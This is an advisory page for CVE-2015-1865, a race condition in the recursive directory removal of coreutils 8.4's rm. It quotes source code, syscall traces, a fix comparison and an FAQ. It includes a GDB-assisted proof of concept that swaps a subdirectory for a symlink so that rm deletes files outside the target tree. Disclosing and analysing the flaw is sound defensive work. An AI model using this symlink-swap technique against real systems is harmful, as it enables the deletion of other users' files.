CVE-2015-1865: Race Condition
fts.c in coreutils 8.4 allows local users to delete arbitrary files.
Other sources
Rikus Goodell of CPanel found a race condition in coreutils (rm command). Recursive directory removal with "rm -rf" has a TOCTOU race condition when descending into subdirectories.
It uses these syscalls to traverse into subdirectories:
19935 fstatat64(4, "x", {stmode=SIFDIR|0755, stsize=4096, ...}, ATSYMLINKNOFOLLOW) = 0 19935 openat(4, "x", ORDONLY|ONOCTTY|ONONBLOCK|OLARGEFILE|ODIRECTORY) = 3
Note that the stat has NOFOLLOW, but the open does not, so if the directory "x" changes to a symlink between these two syscalls, rm will traverse across the symlink. This makes the type of attack described here possible:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286922
The relevant code that opens a dir in coreutils-8.4:
coreutils-8.4/lib/fts.c: 1243 #if defined FTSWHITEOUT && 0 1244 if (ISSET(FTSWHITEOUT)) 1245 oflag = DTFNODUP|DTFREWIND; 1246 else 1247 oflag = DTFHIDEW|DTFNODUP|DTFREWIND; 1248 #else 1249 # define opendir2(file, flag) \ 1250 ( ! ISSET(FTSNOCHDIR) && ISSET(FTSCWDFD) \ 1251 ? opendirat(sp->ftscwdfd, file) \ 1252 : opendir(file)) 1253 #endif 1254 if ((dirp = opendir2(cur->ftsaccpath, oflag)) == NULL) {
So, it uses opendir2 (which is defined right above); this, in turn, calls "opendirat" for a directory, which does this:
coreutils-8.4/lib/fts.c: 298 static inline DIR 299 internalfunction 300 opendirat (int fd, char const dir) 301 { 302 int newfd = openat (fd, dir, 303 ORDONLY | ODIRECTORY | ONOCTTY | ONONBLOCK);
ONOFOLLOW is missing.
8.22 does stuff differently:
1316 { 1317 / Open the directory for reading. If this fails, we're done. 1318 If being called from ftsread, set the ftsinfo field. / 1319 if ((cur->ftsdirp = ftsopendir(cur->ftsaccpath, &dirfd)) == NULL) 1320 {
ftsopendir here is:
coreutils-8.22/lib/fts.c: 1252 #define ftsopendir(file, Pdirfd) \ 1253 opendirat((! ISSET(FTSNOCHDIR) && ISSET(FTSCWDFD) \ 1254 ? sp->ftscwdfd : ATFDCWD), \ 1255 file, \ 1256 (((ISSET(FTSPHYSICAL) \ 1257 && ! (ISSET(FTSCOMFOLLOW) \ 1258 && cur->ftslevel == FTSROOTLEVEL)) \ 1259 ? ONOFOLLOW : 0) \ 1260 | (ISSET (FTSNOATIME) ? ONOATIME : 0)), \ 1261 Pdirfd)
with ONOFOLLOW defined.
Steps to reproduce using GDB to increase the "window of possibility":
root@jdvm:/home/jd# mkdir -p t/switchme root@jdvm:/home/jd# echo "xyzzy" >t/switchme/xyzzy root@jdvm:/home/jd# mkdir unlinkstuff root@jdvm:/home/jd# echo "sensitive stuff" > unlinkstuff/unlinkthis root@jdvm:/home/jd# gdb rm GNU gdb (GDB) Red Hat Enterprise Linux (7.2-75.el6) ... (gdb) break openat64 Breakpoint 1 at 0x804910c (gdb) set args -rf t (gdb) run Starting program: /bin/rm -rf t
Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6 (gdb) c Continuing.
Breakpoint 1, 0x002035f6 in openat64 () from /lib/libc.so.6 (gdb) ^Z [1]+ Stopped gdb rm root@jdvm:/home/jd# cd t root@jdvm:/home/jd/t# ls switchme root@jdvm:/home/jd/t# mv switchme/ switchme.bak root@jdvm:/home/jd/t# ln -s ../unlinkstuff switchme root@jdvm:/home/jd/t# ls -alh total 12K drwxr-xr-x. 3 root root 4.0K Mar 25 17:03 . drwx------. 5 jd jd 4.0K Mar 25 17:01 .. lrwxrwxrwx. 1 root root 15 Mar 25 17:03 switchme -> ../unlinkstuff drwxr-xr-x. 2 root root 4.0K Mar 25 17:01 switchme.bak root@jdvm:/home/jd/t# cd .. root@jdvm:/home/jd# fg gdb rm (gdb) c Continuing. /bin/rm: cannot remove t': Directory not empty
Program exited with code 01. (gdb) q root@jdvm:/home/jd# ls -alh unlinkstuff/ total 8.0K drwxr-xr-x. 2 root root 4.0K Mar 25 17:04 . drwx------. 5 jd jd 4.0K Mar 25 17:01 .. root@jdvm:/home/jd#
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2015-1865?
CVE-2015-1865 is classified as a high severity vulnerability due to its potential for arbitrary file deletion.
How do I fix CVE-2015-1865?
To fix CVE-2015-1865, upgrade to a later version of coreutils that addresses the TOCTOU race condition.
What systems are affected by CVE-2015-1865?
CVE-2015-1865 affects GNU Coreutils version 8.4, particularly on systems using this version of the rm command.
What is the nature of the vulnerability in CVE-2015-1865?
CVE-2015-1865 involves a race condition in the rm command that could allow local users to delete arbitrary files.
Can CVE-2015-1865 lead to data loss?
Yes, CVE-2015-1865 can lead to unintentional data loss if an attacker exploits the vulnerability during recursive directory removal.